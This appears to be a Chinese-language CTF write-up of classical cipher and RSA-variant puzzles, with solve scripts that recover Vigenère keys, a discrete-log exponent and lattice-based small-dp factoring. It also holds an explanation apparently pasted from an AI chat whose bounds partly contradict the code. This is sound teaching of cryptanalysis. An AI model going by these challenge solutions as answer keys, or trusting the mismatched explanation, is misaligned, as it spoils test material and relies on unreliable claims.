return ''.join(ciphertext)
print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'')
flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}'
print(flag)

#----------------------------------------------
enc = '''
TYBNBBZNT WF TYUMMK NAIB HYFZ.
XFIFBKWG AM CXBMYK BVNF CNITBWBB.
GVEJMX QL VXBHRJ NITV VIFXZRP.
WPFXEYQ QG OWNUXZ MBTV QBEJMBKTNXL.
TYSN JL JXNMMF GZUO GMLNXL.
GCSLTX QL VXBHRJ NITV WYGAS.
SDUHT QL PXOSAWLF
KMTXTJWYANZ VWNHMA.
GCWWJTT VULMG NJYO'M AIYVQOY WHPNOA NH JFRSE UAM KOEMG.
NDNIHCZB IZOPLCDTTBNR JSNLM QNZBNR.
MFEGLT LPHOEL BRNYS IILM LQZRFNMR.
CGFXAG RPJMBKBNEG GVDYOVMW.
'''

解题代码:

附上暴力解题的网站:https://www.guballa.de/vigenere-solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from hashlib import md5
zen1 = '''
BEAUTIFUL IS BETTER THAN UGLY.
EXPLICIT IS BETTER THAN IMPLICIT.
SIMPLE IS BETTER THAN COMPLEX.
COMPLEX IS BETTER THAN COMPLICATED.
FLAT IS BETTER THAN NESTED.
SPARSE IS BETTER THAN DENSE.
FLAGA IS VEGENERE
READABILITY COUNTS.
SPECIAL CASES AREN'T SPECIAL ENOUGH TO BREAK THE RULES.
ALTHOUGH PRACTICALITY BEATS PURITY.
ERRORS SHOULD NEVER PASS SILENTLY.
UNLESS EXPLICITLY SILENCED.
'''
key1 =subtitution

def shift_char(c, k):
return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A'))
#c是原字母,k向后移动几位,%26为了超出26的数字循环回来,也就是凯撒

def enc1(plaintext, key):
plaintext = plaintext.upper()
key = key.upper()
#两个转成大写
ciphertext = []
#密文
key_index = 0

for char in plaintext:
if char.isalpha():
ciphertext.append(shift_char(char, key[key_index % len(key)]))
#append函数是在列表最后插入,key_index % len(key)确定了key能循环用,key[]代表第n-1个
key_index += 1
else:
ciphertext.append(char)

return ''.join(ciphertext)
print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'')
flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}'
print(flag)

9.故事新编2w3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from hashlib import md5
zen2 = '''

'''
key2 =
dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4,
'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9,
'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14,
'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19,
'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25}

dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E',
5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J',
10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O',
15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T',
20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'}

def generate_key(message, key):
for i in range(len(message)):
if message[i].isalpha() == False:
pass
else:
key += message[i]
return key
#把key和message拼接起来
def enc2(message, key):
message = message.upper()
key = key.upper()
key_new = generate_key(message, key)
#key_new就是把message和key拼起来
cipher_text = ''
i = 0
for letter in message:
if letter.isalpha():
x = (dict1[letter]+dict1[key_new[i]]) % 26
cipher_text += dict2[x]
#同时取letter和key_new第i+1个字母然后对应数字相加取模26,得出来的数字在字典2中找到字母然后拼接
i += 1
else:
cipher_text += letter
return cipher_text
#形成密文
print('enc = \'\'\'' + enc2(zen2, key2)+'\'\'\'')
flag = b'flag{'+md5(zen2.encode()).hexdigest().encode()+b'}'
print(flag)
#----------------------------------------------
enc = '''
AH ILV XUDX WY UFJWTCVMF, VJFWWS YHQ UMSJBTRZSS NG KNLWL.
XTTKE LPCHER HY SFW-- TUH GVWMSLLEMC CAPY BQT --FFAMFUT HYM GZ BC VX.
OMOPCOYD TFTH ZOG FAJ GVH VK VUCIHQS YF FGEGM VRZFNA MIM'RX ICKUA.
HBH MK TCHNVV WBTP URJAZ.
SMXAHYXA UEIRV DW FFEXU PYZARV OLRV JWLAX APA.
BY XYX PMCCMSLGGOPQTG PW PMGO XA IKILTQB, VB'K H BRG BRIX.
XQ TPR QFHLFMHVWETQTG PW MMHJ XA IKILTQB, VB EEY TC T USLS TDMN.
'''
1
2
3
4
5
6
7
8
这段代码是让ai跑出来的,其实就是python圣经的部分内容
IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS.
THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT.
ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH.
NOW IS BETTER THAN NEVER.
ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW.
IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA.
IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA.

https://www.guballa.de/vigenere-solver在这个网站上面xuang

三种维吉尼亚密码

特征 Classical Vigenère (古典维吉尼亚) Autokey Vigenère (自动密钥维吉尼亚) Beaufort Variant (博福特变体)
核心加密公式 C = (P + K) mod 26 C = (P + K) mod 26 C = (K - P) mod 26
解密公式 P = (C - K) mod 26 P = (C - K) mod 26 P = (K - C) mod 26
密钥特性 固定长度的重复密钥 自生成密钥:初始密钥+后续明文 固定长度的重复密钥
密钥生成方式 通过循环重复密钥 (如”KEYKEYKEY”) 1. 初始密钥部分 2. 后续添加已加密的明文 通过循环重复密钥 (如”KEYKEYKEY”)
密钥序列示例 (明文:ATTACK, 密钥”KEY”) KEYKEY KEYATT KEYKEY
是否自同步 ✅ (解密过程中自动生成后续密钥)
数学关系 加法密码 加法密码(但密钥包含明文) 减法密码
安全性 易受Kasiski测试攻击 抗Kasiski测试攻击 与古典维吉尼亚安全性相似
主要优点 简单易实现 密钥不会重复,安全性更高 提供不同的数学运算方式
主要缺点 密钥重复导致模式泄露 初始密钥丢失=完全无法解密 数学逆运算稍复杂
典型应用 传统加密系统 需要更高安全性的场合 特定安全需求场合
  1. Classical Vigenère (古典维吉尼亚)
    • 工作原理:密钥重复使用,每个明文字母与密钥字母相加取模26
    • 密钥流:固定长度的密钥循环扩展(如”KEY”→”KEYKEYKEY…”)
    • 漏洞:密钥重复导致密文出现可检测的模式,易受Kasiski分析攻击
  2. Autokey Vigenère (自动密钥维吉尼亚)
    • 密钥生成
      • 初始部分:预定义的密钥(如”KEY”)
      • 后续部分:添加原始明文
      • 密钥=key+明文
    • 优点
      • 没有重复的密钥模式
      • 实现自同步:解密过程自动生成后续密钥
    • 解密过程:使用初始密钥解密第一部分明文,然后用解出的明文作为后续密钥
  3. Beaufort Variant (博福特变体)
    • 核心运算:减法操作(C = (K - P) mod 26)
    • 数学特性
1
2
3
4
# 加密
c = (key_char - plain_char) % 26
# 解密
p = (key_char - cipher_char) % 26
- <strong>安全性</strong>:与古典维吉尼亚相似,通过相同密钥的循环使用

解题:

以下是解key代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from hashlib import md5

zen2 = '''
IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS.
THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT.
ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH.
NOW IS BETTER THAN NEVER.
ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW.
IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA.
IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA.
'''

enc = '''
AH ILV XUDX WY UFJWTCVMF, VJFWWS YHQ UMSJBTRZSS NG KNLWL.
XTTKE LPCHER HY SFW-- TUH GVWMSLLEMC CAPY BQT --FFAMFUT HYM GZ BC VX.
OMOPCOYD TFTH ZOG FAJ GVH VK VUCIHQS YF FGEGM VRZFNA MIM'RX ICKUA.
HBH MK TCHNVV WBTP URJAZ.
SMXAHYXA UEIRV DW FFEXU PYZARV OLRV JWLAX APA.
BY XYX PMCCMSLGGOPQTG PW PMGO XA IKILTQB, VB'K H BRG BRIX.
XQ TPR QFHLFMHVWETQTG PW MMHJ XA IKILTQB, VB EEY TC T USLS TDMN.
'''

dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4,
'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9,
'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14,
'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19,
'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25}

dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E',
5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J',
10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O',
15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T',
20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'}


def de_key(encrypted, decrypted):
key_text = ''

for i in range(len(encrypted)):
d_char = encrypted[i]
e_char = decrypted[i]
if d_char.isalpha():
#因为明文和密文是代替密码,即一一对应不会有多的字符产生,这样才可以直接这样算
key_num = (dict1[e_char] - dict1[d_char]) % 26
#这里用到了取模的可逆性
key_text += dict2[key_num]
return key_text

key_stream = de_key(zen2, enc)
print(f"key+明文(除了标点和空格): {key_stream}")

解题的时候也遇到了一个很简洁的代码:

enc_letters = [c for c in encrypted if c.isalpha()]

(为了让代码简单点,我就没用这个了,直接用if d_char.isalpha():,不再多生成一个表了)

这个相当于:

1
2
3
4
5
enc_letters = []
for c in encrypted:
if c.isalpha():
enc_letters.append(c)
#作用是提取密文中的纯字母部分,忽略空格、标点等非字母字符

解出来的结果如下:

key+明文(除了标点和空格): **SUPERSUBTITUTION**INTHEFACEOFAMBIGUITYREFUSETHETEMPTATIONTOGUESSTHERESHOULDBEONEANDPREFERABLYONLYONEOBVIOUSWAYTODOITALTHOUGHTHATWAYMAYNOTBEOBVIOUSATFIRSTUNLESSYOUREDUTCHNOWISBETTERTHANNEVERALTHOUGHNEVERISOFTENBETTERTHANRIGHTNOWIFTHEIMPLEMENTATIONISHARDTOEXPLAINITSABADIDEAIFTHEIMPLEMENTATIONISEASYTOEXPLAIN

不用在意后面的东西,比对以下就发现key是**SUPERSUBTITUTION**

带回源代码就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from hashlib import md5
zen2 = '''
IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS.
THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT.
ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH.
NOW IS BETTER THAN NEVER.
ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW.
IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA.
IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA.
'''
key2 = '''SUPERSUBTITUTION'''
dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4,
'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9,
'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14,
'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19,
'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25}

dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E',
5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J',
10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O',
15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T',
20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'}

def generate_key(message, key):
for i in range(len(message)):
if message[i].isalpha() == False:
pass
else:
key += message[i]
return key
#把key和message拼接起来
def enc2(message, key):
message = message.upper()
key = key.upper()
key_new = generate_key(message, key)
#key_new就是把message和key拼起来
cipher_text = ''
i = 0
for letter in message:
if letter.isalpha():
x = (dict1[letter]+dict1[key_new[i]]) % 26
cipher_text += dict2[x]
#同时取letter和key_new第i+1个字母然后对应数字相加取模26,得出来的数字在字典2中找到字母然后拼接
i += 1
else:
cipher_text += letter
return cipher_text
#形成密文

print('enc = \'\'\'' + enc2(zen2, key2)+'\'\'\'')
flag = b'flag{'+md5(zen2.encode()).hexdigest().encode()+b'}'
print(flag)
#----------------------------------------------
enc = '''
AH ILV XUDX WY UFJWTCVMF, VJFWWS YHQ UMSJBTRZSS NG KNLWL.
XTTKE LPCHER HY SFW-- TUH GVWMSLLEMC CAPY BQT --FFAMFUT HYM GZ BC VX.
OMOPCOYD TFTH ZOG FAJ GVH VK VUCIHQS YF FGEGM VRZFNA MIM'RX ICKUA.
HBH MK TCHNVV WBTP URJAZ.
SMXAHYXA UEIRV DW FFEXU PYZARV OLRV JWLAX APA.
BY XYX PMCCMSLGGOPQTG PW PMGO XA IKILTQB, VB'K H BRG BRIX.
XQ TPR QFHLFMHVWETQTG PW MMHJ XA IKILTQB, VB EEY TC T USLS TDMN.
'''

rsa变种10.没e能玩?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from Crypto.Util.number import *
import random
import sympy
import gmpy2

m = bytes_to_long(b'flag{*****}')

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
h1 = 1*p + 1*q + 1*r
h2 = 2*p + 3*q + 3*r
h3 = 9*p + 9*q + 6*r
print( "hint_of_pqr=" , h1 , h2 , h3 )

e = getPrime(64)
a_big_prime = getPrime( 512 )
hint = pow(a_big_prime,e,2**512)
print( "big_prime is: " , a_big_prime )
print( "hint is: " , hint )

n = p*q*r
c = pow( m , e , n )
print( "c=" , c )

"""
h1 = 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497
h2 = 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760
h3 = 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172
hint_of_pqr= 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172
big_prime is: 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
hint is: 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571
c= 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310
"""

这里能看出来关键就是解e,这里引入一个数学概念:离散对数

离散对数

比如像题目里面的hint = pow(a_big_prime,e,2**512)hinta_big_prime都已知的情况下求e,可以直接用函数e = sympy.discrete_log(2**512,hint,a_big_prime)(顺序和pow倒过来)

同时注意:pow(a,b,c)执行的abc都是整数,但是python中的除法**/**算出来的一律是浮点数(即便是整除),所以这里引入整除**//**(结果是整数型、向下取整)

这个东西解完就可以解题了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Cryptodome.Util.number import long_to_bytes as l2b
import sympy

h1 = 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497
h2 = 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760
h3 = 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172
a_big_prime = 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
c = 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310
hint = 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571

#解方程
p = 3*h1 - h2
r = (9*h1 - h3)//3
q = h1 - p -r

#解e
e = sympy.discrete_log(2**512,hint,a_big_prime)

#rsa算法
n = p*q*r
fain = (p-1)*(q-1)*(r-1)
d = pow(e,-1,fain)
m = pow(c,d,n)
print(l2b(m))

11.两个黄鹂鸣翠柳

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import random
from Crypto.Util.number import *
while 1:
delta = getPrime(1024)
p = getPrime(512)
q = getPrime(512)
N = p * q
if delta<N:
break
flag = b'flag{xxxxxxxxxxxxx}'
e = getPrime(10)
m = bytes_to_long(flag)
t1 = random.randint(0,255)
t2 = random.randint(0,255)
assert (t1 != t2)
#检测是否是真,假则中止
m1 = m + t1 * delta
m2 = m + t2 * delta
c1 = pow(m1, e, N)
c2 = pow(m2, e, N)
print("e = ", e)
print("c1 = ", c1)
print("c2 = ", c2)
print("N = ", N)
print("delta = ", delta)

'''
e = 683
c1 = 56853945083742777151835031127085909289912817644412648006229138906930565421892378967519263900695394136817683446007470305162870097813202468748688129362479266925957012681301414819970269973650684451738803658589294058625694805490606063729675884839653992735321514315629212636876171499519363523608999887425726764249
c2 = 89525609620932397106566856236086132400485172135214174799072934348236088959961943962724231813882442035846313820099772671290019212756417758068415966039157070499263567121772463544541730483766001321510822285099385342314147217002453558227066228845624286511538065701168003387942898754314450759220468473833228762416
N = 147146340154745985154200417058618375509429599847435251644724920667387711123859666574574555771448231548273485628643446732044692508506300681049465249342648733075298434604272203349484744618070620447136333438842371753842299030085718481197229655334445095544366125552367692411589662686093931538970765914004878579967
delta = 93400488537789082145777768934799642730988732687780405889371778084733689728835104694467426911976028935748405411688535952655119354582508139665395171450775071909328192306339433470956958987928467659858731316115874663323404280639312245482055741486933758398266423824044429533774224701791874211606968507262504865993
'''

大数分解网站在升级,进不去感觉就是rsa变种,但是我看解析说的是half-gcd

7-22补充:可能是n太大了,大数分解不了

这里用到一个新的理论:

相关信息攻击-Franklin-Reiter-CSDN博客

今天理清了概念:

  • pow(2,a,5)这里第二个数字是正数的时候是求(2^a)%5,如果说这里的a=-1那就是求逆元,即2x%5==1求这里的最小正数x就是逆元。
  • gcd算法:gcd(a,b)就是求a和b的最大公因数,其算法用的是欧几里得算法
  • gcd算法和RSA之间的关系:RSA解密时会求在e的逆元模φ(n),算模逆元的第一步就是检测两个数的gcd是否为1
  • Franklin-Reiter相关消息攻击可行:这里的e不大(683)

sagemath12.圣石匕首

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import gmpy2
beta=0.37
delta=0.01
n=round((1-2*beta-2*delta)/((1-beta)^2-2*delta-beta),6)
#四舍五入,6代表保留的小数位数
e= 3668637434348843171145584606519031375027610199908169273169275927238735031431533260375377791001464799116453803408104076615710166171199990283470548282669948353598733020244755959461974603778630346457439345913209321194112256348302765254052193562603687450740346132207444615610078198488883539133291840346099727880587092122957231085658576850601488737629051252914095889313671875244094452330062619943781809984690384476868543570724769198985172300665613239047649089399919032152539462701309393130614829962670866062380816370571057536421400102100259975636785825540933280194583888638501981649650640939392658268133881679239293596283
N= 9748523098652101859947730585916490335896800943242955095820326993765071194474558998322598145898741779502734772138283011560029368500998354183150180904846368209977332058847768859238711047784703104535311583123388923571789764758869419482184613566672922481672444028753365755071127320541645016370072493604532087980626825687519083734367691341907014061379844209864141989961751681235215504772582878202048494707090104738899927036896915997556102574747166491969027546256022019959716418675672979328622656831990050058120299353807110233202113906317969377201045402271911946244076903611612303290556012512559696538977841061277173754331
c= 5374936627659221745209010619827617207565185520404653329184605916859755641352457088986635357806048863755173540232471505333583684733535121482637476692432365062808450583470788320547816186936317927449796090525477205337038591439577855884910604383190932340306435201976465543731935147881754136301375206828970248293731391543905441514528959500307972606931927112031018356411970001312995489429650903529877904694901310020882390008248466887950986326522740278880600110217817950511478637493101027659292006016454642135508207492151610829525082829566392116546434101694921106423469015683277992978077101831969525458693031031468092418427
n=int(n+1)
#print(n)
m=int(n*(1-beta))
X=int(pow(N,delta))
Y=int(pow(N,delta+beta))
Z.<x,y>=ZZ[]
L=Matrix(ZZ,n,n)
f=e*x-y
for i in range(n):
g=list(N^max(0,m-i)*x^(n-1-i)*f^i)
for j in range(len(g)):
L[i,j]=g[j][0]*X^(n-1-j)*Y^j
L=L.LLL()[0]
coeff=[]
for i in range(n):
coeff.append((L[i]//(X^(n-1-i)*Y^i),'x'+'**'+str(n-1-i)+'*y'+'**'+str(i)))
s=''
for i in range(len(coeff)):
s+=str(coeff[i][0])+'*'+coeff[i][1]+'+'
f=eval(s[:-1])
factored_f = f.factor()
first_polynomial = factored_f[0][0]
first_coefficient = first_polynomial.coefficients()[0]
k = first_coefficient + 1
dp = first_polynomial.coefficients()[1]
p=(e*dp-1)//k+1
q=N//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,N)
print(bytes.fromhex(hex(m)[2:]))

我将详细解释这段代码,它是一段针对特殊 RSA 漏洞的攻击代码。这个漏洞发生在当私钥的一部分 (dp = d mod (p-1)) 比较小的时候,攻击者可以通过数学技巧恢复私钥。


📜 代码用途

这段代码实施的是针对 RSA 的 partial private key exposure attack(部分私钥泄露攻击),具体是利用已知的 dp = d mod (p-1)特性来破解 RSA。

📌 攻击背景:

在 RSA 中:

  • N = p * q(两个大素数)
  • 私钥 d满足 e * d ≡ 1 mod φ(N),其中 φ(N) = (p-1)(q-1)
  • dp = d mod (p-1)

如果 dp的值相对较小(小于 N的约 0.37 次方),就能用格攻击(Lattice Attack)分解 N


📝 代码逐行解析

1. 导入库和参数设置

1
2
3
4
5
6
7
8
9
10
python

运行
复制



import gmpy2
beta = 0.37 # p 的大小指数(p ≈ N^β)
delta = 0.01 # 攻击参数(控制格大小)
  • gmpy2:用于大数运算(求模逆、模幂等)
  • beta=0.37:假设素数 p的大小约是 N^0.37
  • delta=0.01:控制格基大小的参数

2. 计算格维度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python

运行
复制



print(1-2*beta-2*delta)
n = round((1-2*beta-2*delta)/((1-beta)**2-2*delta-beta), 6)
e = 36686374... # 公钥e
N = 97485230... # RSA模数
c = 53749366... # 密文
n = int(n+1) # 格维度向上取整
print(n)
  • 通过数学公式计算格基维度 n
  • n+1是安全措施,确保格足够大
  • 公式来源:Howgrave-Graham 定理的扩展

输出:5(表示将使用 5×5 的格)

3. 设置边界值

1
2
3
4
5
6
7
8
9
10
python

运行
复制



m = int(n*(1-beta)) # 多项式次数
X = int(pow(N, delta)) # x 的边界(dp 的估计上界)
Y = int(pow(N, delta+beta)) # y 的边界(辅助变量的上界)
  • X ≈ N^0.01 ≈ 2^15(假设 N是2048位)
  • Y ≈ N^0.38 ≈ 2^600
  • 用于限制搜索空间大小

4. 构建多项式环

1
2
3
4
5
6
7
8
python

运行
复制



Z.<x,y> = ZZ[] # 定义整数环上的二元多项式环
  • 创建多项式环境,变量为 x(代表 dp),y(代表辅助变量)
  • 可在环中做多项式运算:(3*x + y^2) * (x - 5*y)

5. 构造核心多项式

1
2
3
4
5
6
7
8
9
python

运行
复制



L = Matrix(ZZ, n, n) # 创建 n×n 整数矩阵
f = e*x - y # 关键多项式(核心方程)

多项式 f的来源:

1
2
3
4
5
6
7
8
复制


已知:e * dp ≡ 1 mod (p-1)
⇒ e * dp - 1 = k(p-1) [k是整数]
⇒ e * dp - k(p-1) = 1
设 y = k(p-1) + 1
则 f = e*x - y 在 x=dp, y=k(p-1)+1 时为0

6. 填充格矩阵

1
2
3
4
5
6
7
8
9
10
11
python

运行
复制



for i in range(n):
g = list(N^max(0, m-i) * x^(n-1-i) * f^i)
for j in range(len(g)):
L[i,j] = g[j][0] * X^(n-1-j) * Y^j
  • 构造原理:通过多项式移位构建格基
  • 每个 g是:N^{m-i} * x^{n-1-i} * (e*x - y)^i
  • X^(n-1-j)*Y^j:缩放系数,平衡格中向量

7. LLL 格基约减

1
2
3
4
5
6
7
8
python

运行
复制



L = L.LLL()[0] # 执行LLL算法取最短向量
  • LLL 算法:找出格中最短向量
  • 这里是攻击的核心,复杂度 O(n⁶),当 n=5 时约需0.5秒
  • 输出:一个短向量,对应潜在解

8. 提取多项式系数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python

运行
复制



coeff = []
for i in range(n):
coeff.append((L[i]//(X^(n-1-i)*Y^i),
'x**'+str(n-1-i)+'*y**'+str(i)))

s = ''
for i in range(len(coeff)):
s += str(coeff[i][0]) + '*' + coeff[i][1] + '+'
f = eval(s[:-1]) # 重构多项式
  • 逆缩放系数恢复原始多项式
  • 例如:从向量 [1024, 768]恢复 1024*x + 768*y

9. 分解多项式找解

1
2
3
4
5
6
7
8
9
10
11
python

运行
复制



factored_f = f.factor() # 多项式因式分解
first_polynomial = factored_f[0][0] # 取第一个因式
k = first_polynomial.coefficients()[0] + 1
dp = first_polynomial.coefficients()[1]
  • 因式分解示例:x + 2y - 3= (x + 2y - 3)
  • k对应公式中的整数常数
  • dp就是我们要的 d mod (p-1)

10. 计算私钥并解密

1
2
3
4
5
6
7
8
9
10
11
12
13
python

运行
复制



p = (e*dp - 1)//k + 1 # 求素数p
q = N // p # 求素数q
phi = (p-1)*(q-1) # 欧拉函数
d = gmpy2.invert(e, phi) # 求私钥d
m = pow(c, d, N) # RSA解密
print(bytes.fromhex(hex(m)[2:])) # 输出明文

最后一步是标准 RSA 解密流程:

  1. 通过 dp恢复 pq
  2. 计算 φ(N) = (p-1)(q-1)
  3. 用扩展欧几里得求私钥 d
  4. 解密得到明文

🧪 攻击成功的数学原理

核心在于当 dp较小时(具体是 dp < N^0.37),通过:

1
2
3
4
5
6
复制


e·dp ≡ 1 mod (p-1)
⇒ e·dp - 1 是 (p-1) 的倍数
⇒ 存在 k 使得 e·dp - 1 = k(p-1)

构造格结构,用 LLL 算法找到小解(即 dp)。


⚠️ 注意事项

  1. 参数依赖性
    • 如果实际的 dp > N^0.37,攻击会失败
    • 需要精确设置 beta(若实际 p 大小不符会失败)
  2. 格维度
    • n=5表示 5 维格(快速)
    • 若需要更大 n(如 10),计算时间可能达数分钟
  3. 实际应用
    • 此漏洞在现实系统少见(因为通常 dp大小接近 p
    • 主要见于特殊设计的加密系统
  4. 错误处理
    • 无错误处理机制
    • 如果 LLL 返回非解向量,后续计算会崩溃